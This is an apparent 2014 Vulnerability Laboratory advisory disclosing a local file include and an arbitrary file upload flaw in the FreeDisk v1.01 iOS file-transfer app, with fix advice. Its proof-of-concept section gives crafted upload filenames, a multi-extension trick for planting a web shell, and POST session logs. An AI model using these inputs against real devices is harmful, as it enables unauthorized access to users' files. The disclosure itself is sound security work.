294 lines
No EOL
14 KiB
Text
294 lines
No EOL
14 KiB
Text
Document Title:
|
||
===============
|
||
FreeDisk v1.01 iOS - Multiple Web Vulnerabilities
|
||
|
||
|
||
References (Source):
|
||
====================
|
||
http://www.vulnerability-lab.com/get_content.php?id=1287
|
||
|
||
|
||
Release Date:
|
||
=============
|
||
2014-08-01
|
||
|
||
|
||
Vulnerability Laboratory ID (VL-ID):
|
||
====================================
|
||
1287
|
||
|
||
|
||
Common Vulnerability Scoring System:
|
||
====================================
|
||
7.1
|
||
|
||
|
||
Product & Service Introduction:
|
||
===============================
|
||
Transfer files between your iPhone/iPod/iPad and your computers without iTunes! Just start FreeDisk, and your iDevice is automatically
|
||
turned into a wifi hard drive. You can then connect your iDevice to your computers, and use it as a regular hard drive, and easily
|
||
transfer files. No need for third part software, or iTunes, to finally exchange files between your iDevices and your computers!
|
||
FreeDisk can also turn your iDevice into an internet server to share your files with other smartphones (iOS, Android, Windows...) !
|
||
Last but not least, all your data are protected and can only be read when the app is running.
|
||
|
||
(Copy of the Homepage: https://itunes.apple.com/us/app/free-disk-turn-your-iphone/id896356251 )
|
||
|
||
|
||
Abstract Advisory Information:
|
||
==============================
|
||
The Vulnerability Laboratory Research team discovered multiple vulnerabilities in the official FreeDisk v1.01 iOS mobile web-application.
|
||
|
||
|
||
Vulnerability Disclosure Timeline:
|
||
==================================
|
||
2014-08-01: Public Disclosure (Vulnerability Laboratory)
|
||
|
||
|
||
Discovery Status:
|
||
=================
|
||
Published
|
||
|
||
|
||
Affected Product(s):
|
||
====================
|
||
Sebastien BUET
|
||
Product: FreeDisk - iOS Mobile Web Application 1.01
|
||
|
||
|
||
Exploitation Technique:
|
||
=======================
|
||
Remote
|
||
|
||
|
||
Severity Level:
|
||
===============
|
||
High
|
||
|
||
|
||
Technical Details & Description:
|
||
================================
|
||
1.1
|
||
A local file include web vulnerability has been discovered in the official FreeDisk v1.01 iOS mobile web-application.
|
||
The local file include web vulnerability allows remote attackers to unauthorized include local file/path requests or system specific
|
||
path commands to compromise the mobile web-application.
|
||
|
||
The web vulnerability is located in the `filename` value of the `upload` module. Remote attackers are able to inject own files with
|
||
malicious `filename` values in the `uploadfile` POST method request to compromise the mobile web-application. The local file/path
|
||
include execution occcurs in the index `file list` context next to the vulnerable `filename` item value. The attacker is able to
|
||
inject the local malicious file request by usage of the available `wifi interface` upload form.
|
||
|
||
Remote attackers are also able to exploit the filename validation issue in combination with persistent injected script codes to execute
|
||
different local malicious attacks requests. The attack vector is on the application-side of the wifi service and the request method to
|
||
inject is POST.
|
||
|
||
The security risk of the local file include web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count
|
||
of 6.8. Exploitation of the local file include web vulnerability requires no privileged web-application user account or user interaction.
|
||
Successful exploitation of the local file include web vulnerability results in mobile application or connected device component compromise.
|
||
|
||
|
||
Request Method(s):
|
||
[+] [POST]
|
||
|
||
Vulnerable Service(s):
|
||
[+] FreeDisk v1.01
|
||
|
||
Vulnerable Module(s):
|
||
[+] upload
|
||
|
||
Vulnerable Parameter(s):
|
||
[+] filename
|
||
|
||
Affected Module(s):
|
||
[+] FreeDisk App Index File Dir Listing (http://localhost:8080/)
|
||
|
||
|
||
1.2
|
||
An arbitrary file upload web vulnerability has been discovered in the official FreeDisk v1.01 iOS mobile web-application.
|
||
The arbitrary file upload issue allows remote attackers to upload files with multiple extensions to bypass the web-server or system validation.
|
||
|
||
The vulnerability is located in the `upload` module. Remote attackers are able to upload a php or js web-shells by renaming the file with
|
||
multiple extensions to bypass the file restriction mechanism. The attacker uploads for example a web-shell with the following name and extension
|
||
`image.jpg.gif.js.php.jpg`. After the upload the attacker needs to open the file in the web application. He deletes the .jpg & . gif file
|
||
extension and can access the application file with elevated access rights.
|
||
|
||
The security risk of the arbitrary file upload web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.4.
|
||
Exploitation of the arbitrary file upload web vulnerability requires no user interaction or privilege application user account with password.
|
||
Successful exploitation of the vulnerability results in unauthorized file access because of a compromise after the upload of web-shells.
|
||
|
||
|
||
Request Method(s):
|
||
[+] [POST]
|
||
|
||
Vulnerable Service(s):
|
||
[+] FreeDisk v1.01
|
||
|
||
Vulnerable Module(s):
|
||
[+] upload
|
||
|
||
Vulnerable Parameter(s):
|
||
[+] filename (multiple extensions)
|
||
|
||
Affected Module(s):
|
||
[+] FreeDisk App Index File Dir Listing (http://localhost:8080/)
|
||
|
||
|
||
Proof of Concept (PoC):
|
||
=======================
|
||
1.1
|
||
The local file include web vulnerability can be exploited by local attackers without privileged application user account or user interaction.
|
||
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.
|
||
|
||
PoC: LFI > FreeDisk App Index File Dir Listing (http://localhost:8080/)
|
||
|
||
/8Oe/3rG8NqF1H9y6jCDRQWTNfOe9OJxmRjy9Ns+DSZRbq5em95UgEIQSBQABd19VWa9ks3W+JruupQrKsaRonTpwgEAjQ6K/hznXLOHz8w7wp5p7spDJNu9IpG6BCz
|
||
KOachYJtTbCcRz8fj+BQIDs47ui9n7d5x4yMm5F0zSNNWvWYNs2W558TaWY7MOaawW+xiaVIlKpCgFUinIqr7weiUSwbRu/319ci1JEZDAMAyFEjixHo1GlZtvvvkn
|
||
NJ7Jtkf2ShBiuqVcF3VBdTkN1ORViHhViHt4rELFYjKNHjyKEIBgMylQqKTTnlRar+RImEAgoEZDm9XoJh9NnIt9Z386y1W2Mjl9Uhe+exfsmYPmlCS5MfsrHl6a5e
|
||
KWH8opyvCJdB0ePHiUejxMKhRTAbMcOV3X05q4Zd0ecTr+0IOi6zoMb23hqIA7TI2oN7iTO0+fxqgmvsmY+DdVp52UN9vT0IIQgFAplFHIxVnq1s3GhyAihqW2cNauWs741kCO/k4kxLlxJy2B1qYpAJBKhp6cHv9+PaZr4/f6rPvgpvZbWohBMdXUVlmUBsGVTq1rKujvk5UtN
|
||
1prpWrMsi3A4rOrANM0Z6+B6HoamYrGYUrNkMsnY2Bhbt24F4NUDb/DakTCepSG+f/uNrL2lBSEEsViM3t5eTNNUAvKFHb0VCxOPjxMILGLVqlUM2zZvHjnB5o23q
|
||
XV/OBzGMIycCe3LPNUtCBONRlVUXJt9OI4j04e5/n+UufzPh5Rt24yMjKiNig0bNmBZFrFYbNYJ7asEkgFjWacRQpvTOvgiQRSM7JCvN8D1BPlS7H8DAE2nLCe/T
|
||
ZDiAAAAAElFTkSuQmCC"></a></td></tr><tr>
|
||
<td word-wrap="break-all" align="center">
|
||
<a href="<./[LOCAL FILE INCLUDE VULNERABILITY!].png"><./[LOCAL FILE INCLUDE VULNERABILITY!].png"></a></td></tr></table></td><td >
|
||
<table width="192 px" border="0" align="center"><tr><td align="center" height="133"><a href="IMG_0650.JPG">
|
||
<img src="data:image/png;
|
||
|
||
|
||
--- PoC Session Logs [POST] (LFI) ---
|
||
Status: 200[OK]
|
||
POST http://localhost:8080/ Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Gr<47><72>e des Inhalts[352481] Mime Type[application/x-unknown-content-type]
|
||
Request Header:
|
||
Host[localhost:8080]
|
||
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0]
|
||
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
|
||
Accept-Language[de,en-US;q=0.7,en;q=0.3]
|
||
Accept-Encoding[gzip, deflate]
|
||
Referer[http://localhost:8080/]
|
||
Connection[keep-alive]
|
||
POST-Daten:
|
||
POST_DATA[-----------------------------17662256993564
|
||
Content-Disposition: form-data; name="file"; filename="./[LOCAL FILE INCLUDE VULNERABILITY!].png"
|
||
Content-Type: image/png
|
||
|
||
Status: 200[OK]
|
||
GET http://localhost:8080/./[LOCAL FILE INCLUDE VULNERABILITY!] Load Flags[LOAD_DOCUMENT_URI ] Gr<47><72>e des Inhalts[317203] Mime Type[application/x-unknown-content-type]
|
||
Request Header:
|
||
Host[localhost:8080]
|
||
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0]
|
||
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
|
||
Accept-Language[de,en-US;q=0.7,en;q=0.3]
|
||
Accept-Encoding[gzip, deflate]
|
||
Referer[http://localhost:8080/]
|
||
Connection[keep-alive]
|
||
Response Header:
|
||
Accept-Ranges[bytes]
|
||
Content-Length[317203]
|
||
Date[Do., 31 Juli 2014 13:38:34 GMT]
|
||
|
||
|
||
|
||
|
||
1.2
|
||
The arbitrary file upload web vulnerability can be exploited by local attackers without privileged application user account or user interaction.
|
||
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.
|
||
|
||
PoC: AFU > FreeDisk App Index File Dir Listing (http://localhost:8080/)
|
||
|
||
/8Oe/3rG8NqF1H9y6jCDRQWTNfOe9OJxmRjy9Ns+DSZRbq5em95UgEIQSBQABd19VWa9ks3W+JruupQrKsaRonTpwgEAjQ6K/hznXLOHz8w7wp5p7spDJNu9IpG6BCz
|
||
KOachYJtTbCcRz8fj+BQIDs47ui9n7d5x4yMm5F0zSNNWvWYNs2W558TaWY7MOaawW+xiaVIlKpCgFUinIqr7weiUSwbRu/319ci1JEZDAMAyFEjixHo1GlZtvvvkn
|
||
NJ7Jtkf2ShBiuqVcF3VBdTkN1ORViHhViHt4rELFYjKNHjyKEIBgMylQqKTTnlRar+RImEAgoEZDm9XoJh9NnIt9Z386y1W2Mjl9Uhe+exfsmYPmlCS5MfsrHl6a5e
|
||
KWH8opyvCJdB0ePHiUejxMKhRTAbMcOV3X05q4Zd0ecTr+0IOi6zoMb23hqIA7TI2oN7iTO0+fxqgmvsmY+DdVp52UN9vT0IIQgFAplFHIxVnq1s3GhyAihqW2cNau
|
||
Ws741kCO/k4kxLlxJy2B1qYpAJBKhp6cHv9+PaZr4/f6rPvgpvZbWohBMdXUVlmUBsGVTq1rKujvk5UtN
|
||
1prpWrMsi3A4rOrANM0Z6+B6HoamYrGYUrNkMsnY2Bhbt24F4NUDb/DakTCepSG+f/uNrL2lBSEEsViM3t5eTNNUAvKFHb0VCxOPjxMILGLVqlUM2zZvHjnB5o23q
|
||
XV/OBzGMIycCe3LPNUtCBONRlVUXJt9OI4j04e5/n+UufzPh5Rt24yMjKiNig0bNmBZFrFYbNYJ7asEkgFjWacRQpvTOvgiQRSM7JCvN8D1BPlS7H8DAE2nLCe/T
|
||
ZDiAAAAAElFTkSuQmCC"></a></td></tr><tr><td word-wrap="break-all" align="center">
|
||
<a href="<./webshell.png.jpg.html.js.jpg.png[ARBITRARY FILE UPLOAD VULNERABILITY!]"><webshell.png.jpg.html.js.jpg.png[ARBITRARY FILE UPLOAD VULNERABILITY!]"></a></td></tr></table></td><td >
|
||
<table width="192 px" border="0" align="center"><tr><td align="center" height="133"><a href="IMG_0650.JPG">
|
||
<img src="data:image/png;
|
||
|
||
|
||
PoC: http://localhost:8080/webshell.png.jpg.html.js.jpg.png
|
||
|
||
--- PoC Session Logs [POST] (AFU) ---
|
||
Status: 200[OK]
|
||
POST http://localhost:8080/ Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Gr<47><72>e des Inhalts[359908] Mime Type[application/x-unknown-content-type]
|
||
Request Header:
|
||
Host[localhost:8080]
|
||
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0]
|
||
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
|
||
Accept-Language[de,en-US;q=0.7,en;q=0.3]
|
||
Accept-Encoding[gzip, deflate]
|
||
Referer[http://localhost:8080/]
|
||
Connection[keep-alive]
|
||
POST-Daten:
|
||
POST_DATA[-----------------------------3032116335563
|
||
Content-Disposition: form-data; name="file"; filename="webshell.png.jpg.html.js.jpg.png[ARBITRARY FILE UPLOAD VULNERABILITY!]"
|
||
Content-Type: image/png
|
||
|
||
Status: 200[OK]
|
||
GET http://localhost:8080/webshell.png.jpg.html.js.jpg.png Load Flags[LOAD_DOCUMENT_URI ] Gr<47><72>e des Inhalts[317203] Mime Type[application/x-unknown-content-type]
|
||
Request Header:
|
||
Host[localhost:8080]
|
||
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0]
|
||
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
|
||
Accept-Language[de,en-US;q=0.7,en;q=0.3]
|
||
Accept-Encoding[gzip, deflate]
|
||
Referer[http://localhost:8080/]
|
||
Connection[keep-alive]
|
||
Response Header:
|
||
Accept-Ranges[bytes]
|
||
Content-Length[317203]
|
||
Date[Do., 31 Juli 2014 13:45:00 GMT]
|
||
|
||
|
||
Solution - Fix & Patch:
|
||
=======================
|
||
1.1
|
||
The file inlcude vulnerability can be patched by a secure parse and encode of the filename value in the upload file POST method request.
|
||
|
||
1.2
|
||
The arbitrary file upload issue can be fixed by a secure restriction and filter procedure in the filename type validation mechanism.
|
||
Restrict the input and check for extentions to prevent arbitrary file upload with further exploitation.
|
||
|
||
|
||
Security Risk:
|
||
==============
|
||
1.1
|
||
The security risk of the local file include web vulnerability in the filename value is estimated as high.
|
||
|
||
1.2
|
||
The security risk of the arbitrary file upload web vulnerability in the file submit function is estimated as high.
|
||
|
||
|
||
Credits & Authors:
|
||
==================
|
||
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]
|
||
|
||
|
||
Disclaimer & Information:
|
||
=========================
|
||
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either
|
||
expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers
|
||
are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even
|
||
if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation
|
||
of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break
|
||
any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material.
|
||
|
||
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
|
||
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
|
||
Section: dev.vulnerability-db.com - forum.vulnerability-db.com - magazine.vulnerability-db.com
|
||
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
|
||
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
|
||
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/
|
||
|
||
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
|
||
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
|
||
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
|
||
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
|
||
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.
|
||
|
||
Copyright <20> 2014 | Vulnerability Laboratory [Evolution Security]
|
||
|
||
--
|
||
VULNERABILITY LABORATORY RESEARCH TEAM
|
||
DOMAIN: www.vulnerability-lab.com
|
||
CONTACT: research@vulnerability-lab.com |